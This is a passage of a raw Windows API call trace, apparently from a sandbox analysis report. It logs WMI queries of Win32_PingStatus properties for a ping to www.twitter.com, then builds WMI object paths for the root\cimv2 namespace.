returned 0x0 [0161.543] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x5bde8c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde8b8 | out: pNames=0x5bde8b8*="\x01ƀ\x04") returned 0x0 [0161.543] SafeArrayGetDim (psa=0x5f8af70) returned 0x1 [0161.543] SafeArrayGetDim (psa=0x5f8af70) returned 0x1 [0161.543] SafeArrayGetLBound (in: psa=0x5f8af70, nDim=0x1, plLbound=0x5bde750 | out: plLbound=0x5bde750) returned 0x0 [0161.543] SysStringByteLen (bstr="Address") returned 0xe [0161.543] SysStringByteLen (bstr="Address") returned 0xe [0161.544] SysStringByteLen (bstr="BufferSize") returned 0x14 [0161.544] SysStringByteLen (bstr="BufferSize") returned 0x14 [0161.544] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0161.544] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0161.544] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0161.544] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0161.544] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0161.544] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0161.544] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0161.544] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0161.544] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0161.544] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0161.544] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0161.544] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0161.544] SysStringByteLen (bstr="ReplySize") returned 0x12 [0161.544] SysStringByteLen (bstr="ReplySize") returned 0x12 [0161.544] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0161.544] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0161.544] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0161.544] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0161.544] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0161.544] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0161.544] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0161.544] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0161.544] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0161.544] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0161.544] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0161.544] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0161.544] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0161.545] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0161.545] SysStringByteLen (bstr="StatusCode") returned 0x14 [0161.545] SysStringByteLen (bstr="StatusCode") returned 0x14 [0161.545] SysStringByteLen (bstr="Timeout") returned 0xe [0161.545] SysStringByteLen (bstr="Timeout") returned 0xe [0161.545] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0161.545] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0161.545] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0161.545] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0161.545] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0161.545] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0161.545] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0161.545] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0161.545] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0161.545] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0161.545] SysStringByteLen (bstr="TypeofService") returned 0x1a [0161.545] SysStringByteLen (bstr="TypeofService") returned 0x1a [0161.545] IWbemClassObject:Get (in: This=0x5f765d8, wszName="Address", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cfc28*=0, plFlavor=0x25cfc2c*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25cfc28*=8, plFlavor=0x25cfc2c*=0) returned 0x0 [0161.545] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.545] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.545] IWbemClassObject:Get (in: This=0x5f765d8, wszName="BufferSize", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cfcb8*=0, plFlavor=0x25cfcbc*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x25cfcb8*=19, plFlavor=0x25cfcbc*=0) returned 0x0 [0161.546] IWbemClassObject:Get (in: This=0x5f765d8, wszName="NoFragmentation", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cfd28*=0, plFlavor=0x25cfd2c*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cfd28*=11, plFlavor=0x25cfd2c*=0) returned 0x0 [0161.546] IWbemClassObject:Get (in: This=0x5f765d8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cff60*=0, plFlavor=0x25cff64*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cff60*=19, plFlavor=0x25cff64*=0) returned 0x0 [0161.546] IWbemClassObject:Get (in: This=0x5f765d8, wszName="ProtocolAddress", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cffd0*=0, plFlavor=0x25cffd4*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="104.244.42.129", varVal2=0x0), pType=0x25cffd0*=8, plFlavor=0x25cffd4*=0) returned 0x0 [0161.546] SysStringByteLen (bstr="104.244.42.129") returned 0x1c [0161.546] SysStringByteLen (bstr="104.244.42.129") returned 0x1c [0161.546] IWbemClassObject:Get (in: This=0x5f765d8, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d006c*=0, plFlavor=0x25d0070*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x25d006c*=8, plFlavor=0x25d0070*=32) returned 0x0 [0161.546] SysStringByteLen (bstr="") returned 0x0 [0161.546] SysStringByteLen (bstr="") returned 0x0 [0161.547] IWbemClassObject:Get (in: This=0x5f765d8, wszName="RecordRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d00d0*=0, plFlavor=0x25d00d4*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d00d0*=19, plFlavor=0x25d00d4*=0) returned 0x0 [0161.547] IWbemClassObject:Get (in: This=0x5f765d8, wszName="ReplyInconsistency", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d01cc*=0, plFlavor=0x25d01d0*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d01cc*=11, plFlavor=0x25d01d0*=0) returned 0x0 [0161.547] IWbemClassObject:Get (in: This=0x5f765d8, wszName="ReplySize", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d023c*=0, plFlavor=0x25d0240*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x25d023c*=19, plFlavor=0x25d0240*=0) returned 0x0 [0161.547] IWbemClassObject:Get (in: This=0x5f765d8, wszName="ResolveAddressNames", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d02ac*=0, plFlavor=0x25d02b0*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d02ac*=11, plFlavor=0x25d02b0*=0) returned 0x0 [0161.547] IWbemClassObject:Get (in: This=0x5f765d8, wszName="ResponseTime", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d031c*=0, plFlavor=0x25d0320*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), pType=0x25d031c*=19, plFlavor=0x25d0320*=0) returned 0x0 [0161.548] IWbemClassObject:Get (in: This=0x5f765d8, wszName="ResponseTimeToLive", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d038c*=0, plFlavor=0x25d0390*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x39, varVal2=0x0), pType=0x25d038c*=19, plFlavor=0x25d0390*=0) returned 0x0 [0161.548] IWbemClassObject:Get (in: This=0x5f765d8, wszName="RouteRecord", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d03fc*=0, plFlavor=0x25d0400*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d03fc*=8200, plFlavor=0x25d0400*=32) returned 0x0 [0161.548] IWbemClassObject:Get (in: This=0x5f765d8, wszName="RouteRecordResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0460*=0, plFlavor=0x25d0464*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0460*=8200, plFlavor=0x25d0464*=32) returned 0x0 [0161.548] IWbemClassObject:Get (in: This=0x5f765d8, wszName="SourceRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d04c4*=0, plFlavor=0x25d04c8*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x25d04c4*=8, plFlavor=0x25d04c8*=0) returned 0x0 [0161.548] SysStringByteLen (bstr="") returned 0x0 [0161.548] SysStringByteLen (bstr="") returned 0x0 [0161.548] IWbemClassObject:Get (in: This=0x5f765d8, wszName="SourceRouteType", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0528*=0, plFlavor=0x25d052c*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0528*=19, plFlavor=0x25d052c*=0) returned 0x0 [0161.548] IWbemClassObject:Get (in: This=0x5f765d8, wszName="StatusCode", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0598*=0, plFlavor=0x25d059c*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0598*=19, plFlavor=0x25d059c*=0) returned 0x0 [0161.548] IWbemClassObject:Get (in: This=0x5f765d8, wszName="Timeout", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0a40*=0, plFlavor=0x25d0a44*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x25d0a40*=19, plFlavor=0x25d0a44*=0) returned 0x0 [0161.549] IWbemClassObject:Get (in: This=0x5f765d8, wszName="TimeStampRecord", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0ab0*=0, plFlavor=0x25d0ab4*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0ab0*=8211, plFlavor=0x25d0ab4*=32) returned 0x0 [0161.549] IWbemClassObject:Get (in: This=0x5f765d8, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0b14*=0, plFlavor=0x25d0b18*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0b14*=8200, plFlavor=0x25d0b18*=32) returned 0x0 [0161.549] IWbemClassObject:Get (in: This=0x5f765d8, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0b78*=0, plFlavor=0x25d0b7c*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0b78*=8200, plFlavor=0x25d0b7c*=32) returned 0x0 [0161.549] IWbemClassObject:Get (in: This=0x5f765d8, wszName="TimestampRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0bdc*=0, plFlavor=0x25d0be0*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0bdc*=19, plFlavor=0x25d0be0*=0) returned 0x0 [0161.549] IWbemClassObject:Get (in: This=0x5f765d8, wszName="TimeToLive", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0c4c*=0, plFlavor=0x25d0c50*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x25d0c4c*=19, plFlavor=0x25d0c50*=0) returned 0x0 [0161.549] IWbemClassObject:Get (in: This=0x5f765d8, wszName="TypeofService", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0dc8*=0, plFlavor=0x25d0dcc*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d0dc8*=19, plFlavor=0x25d0dcc*=0) returned 0x0 [0161.550] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=0, plFlavor=0x5bde8c8*=0 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0161.550] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.550] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.550] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0161.550] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.550] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.550] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0161.550] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.550] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.550] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d4 [0161.550] SetEvent (hEvent=0x3f4) returned 1 [0161.550] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x4d4, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0161.554] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0161.554] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0161.554] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df310) returned 0x0 [0161.554] WbemDefPath:IUnknown:AddRef (This=0x5df310) returned 0x3 [0161.554] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x2 [0161.554] WbemDefPath:IWbemPath:SetText (This=0x5df310, uMode=0x4, pszPath="") returned 0x0 [0161.554] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d8 [0161.554] SetEvent (hEvent=0x3f4) returned 1 [0161.554] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x4d8, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0161.559] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0161.559] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0161.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df2a0) returned 0x0 [0161.559] WbemDefPath:IUnknown:AddRef (This=0x5df2a0) returned 0x3 [0161.559] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x2 [0161.559] WbemDefPath:IWbemPath:SetText (This=0x5df2a0, uMode=0x4, pszPath="") returned 0x0 [0161.559] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df2a0, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0161.559] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df310, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0161.559] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df2a0, puBuffLength=0x5bde8a0*=0x0, pszName=0x0 | out: puBuffLength=0x5bde8a0*=0x0, pszName=0x0) returned 0x8004103a [0161.559] WbemDefPath:IWbemPath:GetServer (in: This=0x5df2a0, puNameBufLength=0x5bde89c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde89c*=0x0, pName=0x0) returned 0x80041009 [0161.559] WbemDefPath:IWbemPath:SetServer (This=0x5df2a0, Name="Q9IATRKPRH") returned 0x0 [0161.559] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4dc [0161.559] SetEvent (hEvent=0x3f4) returned 1 [0161.559] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x4dc, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0161.562] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0161.562] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0161.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df230) returned 0x0 [0161.562] WbemDefPath:IUnknown:AddRef (This=0x5df230) returned 0x3 [0161.562] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x2 [0161.562] WbemDefPath:IWbemPath:SetText (This=0x5df230, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df2a0, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df230, puCount=0x5bde848 | out: puCount=0x5bde848*=0x2) returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetText (in: This=0x5df230, lFlags=16, puBuffLength=0x5bde844*=0x0, pszText=0x0 | out: puBuffLength=0x5bde844*=0xb, pszText=0x0) returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetText (in: This=0x5df230, lFlags=16, puBuffLength=0x5bde844*=0xb, pszText="0000000000" | out: puBuffLength=0x5bde844*=0xb, pszText="root\\cimv2") returned 0x0 [0161.562] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5df2a0) returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df230, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df230, uIndex=0x0, puNameBufLength=0x5bde87c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde87c*=0x5, pName=0x0) returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df230, uIndex=0x0, puNameBufLength=0x5bde87c*=0x5, pName="0000" | out: puNameBufLength=0x5bde87c*=0x5, pName="root") returned 0x0 [0161.562] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df2a0, uIndex=0x0, pszName="root") returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df230, uIndex=0x1, puNameBufLength=0x5bde87c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde87c*=0x6, pName=0x0) returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df230, uIndex=0x1, puNameBufLength=0x5bde87c*=0x6, pName="00000" | out: puNameBufLength=0x5bde87c*=0x6, pName="cimv2") returned 0x0 [0161.562] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df2a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df2a0, puBuffLength=0x5bde8a0*=0x0, pszName=0x0 | out: puBuffLength=0x5bde8a0*=0x0, pszName=0x0) returned 0x8004103a [0161.562] WbemDefPath:IWbemPath:SetClassName (This=0x5df2a0, Name="Win32_PingStatus") returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df2a0, puCount=0x5bde8e4 | out: puCount=0x5bde8e4*=0x2) returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetText (in: This=0x5df2a0, lFlags=4, puBuffLength=0x5bde8e0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8e0*=0x29, pszText=0x0) returned 0x0 [0161.562] WbemDefPath:IWbemPath:GetText (in: This=0x5df2a0, lFlags=4, puBuffLength=0x5bde8e0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x5bde8e0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0161.570] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0161.570] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0161.570] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.570] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0161.570] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0161.570] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.570] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0161.570] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0161.570] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0161.570] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0161.570] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.570] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.571] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.571] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.571] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.571] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.571] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.571] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.571] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.571] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.571] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.571] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.571] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.571] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.571] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.571] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.571] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.571] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.571] SysStringByteLen (bstr="__PATH") returned 0xc 